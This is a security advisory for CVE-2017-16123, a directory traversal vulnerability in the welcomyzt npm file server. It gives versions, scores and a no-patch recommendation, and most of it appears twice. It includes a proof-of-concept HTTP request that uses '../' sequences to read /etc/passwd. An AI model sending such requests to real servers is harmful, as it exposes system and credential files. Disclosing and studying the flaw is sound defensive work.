Directory Traversal in welcomyzt

HIGH 7.5CVE-2017-16123 · GHSA-8fv7-vm2p-5495 · Published 07/06/2018 · updated 17/06/2026

In short

CVE-2017-16123 is a HIGH (CVSS 7.5) vulnerability affecting welcomyzt (welcomyzt project), welcomyzt.
Chance of exploitation in the next 30 days (EPSS): 2.0%, higher than 80.6% of all vulnerabilities.
No patched version is listed yet: follow the vendor's advisory in References.

Package	Affected versions	Patched versions
welcomyzt welcomyzt_project	`≤ 1.1.0`	No fix yet
welcomyzt npm	`≥ 0.0.0`	No fix yet

Description

welcomyzt is a simple file server.

welcomyzt is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing ../ in the url.

Example request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost

and server Response:

HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

NVD description

welcomyzt is a simple file server. welcomyzt is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.

References

nvd.nist.gov/vuln/detail/CVE-2017-16123 · ADVISORY
JacksonGL/NPM-Vuln-PoC · WEB
npmjs.com/advisories/388 · WEB
nodesecurity.io/advisories/388 · Third Party Advisory

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Package

Affected versions

Patched versions

welcomyzt

welcomyzt_project

≤ 1.1.0

No fix yet

welcomyzt

npm

≥ 0.0.0

No fix yet

Description

welcomyzt is a simple file server.

welcomyzt is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing ../ in the url.

Example request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost

and server Response:

HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

NVD description

welcomyzt is a simple file server. welcomyzt is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.